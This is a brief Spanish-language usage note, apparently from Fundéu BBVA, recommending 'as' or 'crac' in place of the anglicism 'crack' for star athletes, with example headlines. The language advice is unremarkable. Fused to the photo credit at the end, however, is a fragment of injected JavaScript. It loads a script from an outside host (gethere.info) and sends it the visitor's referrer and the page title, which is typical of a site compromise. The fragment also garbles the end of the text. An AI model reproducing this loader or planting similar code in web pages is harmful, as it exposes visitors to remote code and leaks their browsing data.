La Fundación del Español Urgente recomienda evitar el anglicismo innecesario crack, sustituible por términos españoles equivalentes como as, estrella o figura, entre otros.
El término inglés crack suele emplearse en distintos contextos, pero muchos son los medios que lo usan para referirse al deportista destacado:
«Nadal, un crack lleno de humildad».
«Cuarto día de negociaciones para contratar al crack sueco».
«Todos los cracks están al servicio del grupo».
La Fundéu BBVA recomienda evitar esta palabra y emplear en su lugar as, término español de igual sentido y pareja brevedad, y recuerda, además, que existe la castellanización crac (plural cracs), propuesta en el Diccionario panhispánico de dudas, y la posibilidad de escribir el anglicismo con cursiva o comillas.
Así, en los ejemplos anteriores, hubiera sido preferible escribir,
«Nadal, un as lleno de humildad».
«Cuarto día de negociaciones para contratar al crac sueco».
«Todos los «cracks» están al servicio del grupo».
Foto | Kilian Arjonas.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + »;